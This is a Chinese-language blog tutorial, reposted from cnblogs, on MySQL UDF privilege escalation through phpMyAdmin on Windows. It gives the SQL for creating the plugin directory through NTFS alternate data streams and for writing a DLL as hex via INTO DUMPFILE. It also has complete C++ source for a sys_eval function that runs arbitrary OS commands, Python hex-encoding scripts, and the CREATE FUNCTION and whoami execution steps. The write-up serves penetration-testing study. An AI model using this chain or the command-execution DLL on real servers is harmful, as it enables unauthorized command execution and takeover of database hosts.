码迷,mamicode.com
首页 > 数据库 > 详细

Mysql-Attack-UDF

时间:2020-05-03 18:11:33      阅读:72      评论:0      收藏:0      [点我收藏+]

标签:hex   pop   机器   web   nload   imp   并且   php   ase   

Mysql-Attack-UDF

前言

最近不知道为啥,整很多东西都开始往细节去研究。趁这个五一假期吧UDF提权的整个流程都给研究透先。而不是仅仅限于怎么操作就算了(感觉像一个毫无感情的测试机器)。
本文主要是在参考了其他资料做的总结。因为很多前辈已经有现成的成果了。

环境

服务器:windows server 2008
web环境:phpStudy(php7,mysql5.5,apache2)
web应用:phpmyadmin

UDF相关知识介绍

收集了一波文章和论坛的资料,这里就不做详细文字介绍,简单几句话明了概括一下
来源于先知文章的一句话:

UDF是Mysql提供给用户实现自己功能的一个接口,为了使UDF机制起作用,函数必须用C或C ++编写,并且操作系统必须支持动态加载。

简单理解,mysql可以自定义函数(功能接口),而且该自定义的函数(功能接口)的具体实现方法可以写到DLL中,让mysql动态加载DLL即可。
就是说,我们只要编写动态连接库(DLL)让Mysql加载即可。

UDF利用

正常情况下我们遇到phpmyadmin弱口令,可执行任意SQL语句。
技术图片
当然这个情况下我们通常有很多种方法进行getshell,后面其他篇章介绍。这里主要讲UDF

查看路径

查看mysql安装目录路径

select @@base_dir;

技术图片
查看mysql插件目录路径
技术图片
技术图片

mysql插件目录可能有不存在的情况

技术图片

通过adfs流的方式创建文件夹,虽然报错,但已经成功创建了

select ‘test‘ into dumpfile ‘C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION‘;

技术图片
技术图片
继续通过这个方式创建lib下的plugin目录

select ‘test‘ into dumpfile ‘C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION‘;

写入插件目录

创建完成目录之后,将文件写入目标服务器的mysql插件目录中

因为我们现在只能操作sql语句,不支持直接上传文件因此有两种操作

  • 通过loadfile加载,可用于本地加载或者网络加载
  • 通过十六进制写入

本文主要介绍十六进制的方式直接写入文件

SELECT 十六进制字符串
INTO DUMPFILE "C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll"

在写入之前可以使用以下代码对dll文件进行转码转hex

import binascii


def main():
    file_handle = open("mysql_udf_c++.dll").read()
    print binascii.b2a_hex(file_handle)


if __name__ == "__main__":
    main()

技术图片

已写入目录中
技术图片

导入函数(注意导入函数名需要与dll中的函数名对应,这个后面展开讲细节)
技术图片

CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.dll"

命令执行成功
技术图片

select sys_eval(‘whoami‘)

期间踩了不少坑。后面细节展开的时候讲。

一些细节相关

操作系统和mysql版本

mysql < 4.1
所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。(从一个博客上面复制下来的一句话)
4.1 <= mysql < 5.0
特定函数接口才可以调用
5.0 <= mysql <5.1
增加DLL位置限制
5.1 <= mysql
只能在plugin目录下且。

dll源码分析以及编译

可以直接使用现有的dll,也可以使用项目进行编译

https://xz.aliyun.com/t/2365

这片文章把源码贴出来了,使用visual studio code打开源码进行编译,有几处需要配置
(1)打开项目的.sln进行加载时若项目需要更新,则点击确定即可
(2)替换源码成可以自己想要的,我这边直接复制了他可以执行命令那部分的源码

#include <winsock.h>
#include <mysql.h>  


#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>


//--------
extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid, 
    UDF_ARGS *args, 
    char *message)
{   //参数长度
    unsigned int i = 0;
    if (args->arg_count == 1
        && args->arg_type[i] == STRING_RESULT) {
        return 0;
    }
    else {
        strcpy(
            message
            , "Expected exactly one string type parameter"
            );
        return 1;
    }
}
extern "C" __declspec(dllexport)char*  sys_eval(UDF_INIT *initid
    , UDF_ARGS *args
    , char* result
    , unsigned long* length
    , char *is_null
    , char *error)
{
    FILE *pipe;
    char buff[1024];
    unsigned long outlen, linelen;

    // 开辟内存
    result = (char*)malloc(sizeof(char));
    outlen = 0;
    // 创建管道
    pipe = _popen(args->args[0], "r");
    // 读取管道数据
    while (fgets(buff, sizeof(buff), pipe) != NULL) {
        linelen = strlen(buff);
        result = (char*)realloc(result, outlen + linelen);
        // 把管道内容拷贝进返回结果里
        strncpy(result + outlen, buff, linelen);
        outlen = outlen + linelen;
    }
    // 关闭管道
    _pclose(pipe);

    // 当*is_null被设置为1时,返回值为NULL
    if (!(*result) || result == NULL) {
        *is_null = 1;
    }
    else {
        result[outlen] = 0x00;
        *length = strlen(result);
    }
    // 返回结果
    return result;

}
extern "C" __declspec(dllexport)void sys_eval_deinit(
    UDF_INIT *initid)
{

    if (initid->ptr)
    {
        free(initid->ptr);
    }
}

(2)修改版本
技术图片
(3)项目属性设置
技术图片
导入源码之后肯定会缺mysql.h和libmysql.lib
mysql.h下载地址
https://downloads.mysql.com/archives/c-c/
技术图片
设置附加包含目录指向mysql-connector-c-6.1.11-winx64\include
技术图片
libmysql.lib确实要在链接器中加载

dll转hex

import binascii


def main():
    file_handle = open("mysql_udf_c++.dll","rb").read()
    #print len(file_handle)
    print binascii.b2a_hex(file_handle)


if __name__ == "__main__":
    main()

加载DLL

加载的时候可能会出现各种各样的报错,包括操作系统版本等等
在github上面看到了各个报错的情况的分析

https://github.com/mysqludf/lib_mysqludf_str/blob/master/README.win_x86.txt

技术图片

引用

(本文参考了多个blog,可能出现贴漏的情况)
https://downloads.mysql.com/archives/c-c/
https://xz.aliyun.com/t/2719
https://shinpachi8.github.io/2017/09/03/mysql-udf-exploit-复现小记/
https://xz.aliyun.com/t/2365
https://xz.aliyun.com/t/2167
https://www.cnblogs.com/-mo-/p/11678990.html
https://paper.404sec.com/7815.html

Mysql-Attack-UDF

标签:hex   pop   机器   web   nload   imp   并且   php   ase   

原文地址:https://www.cnblogs.com/0x28/p/12819488.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!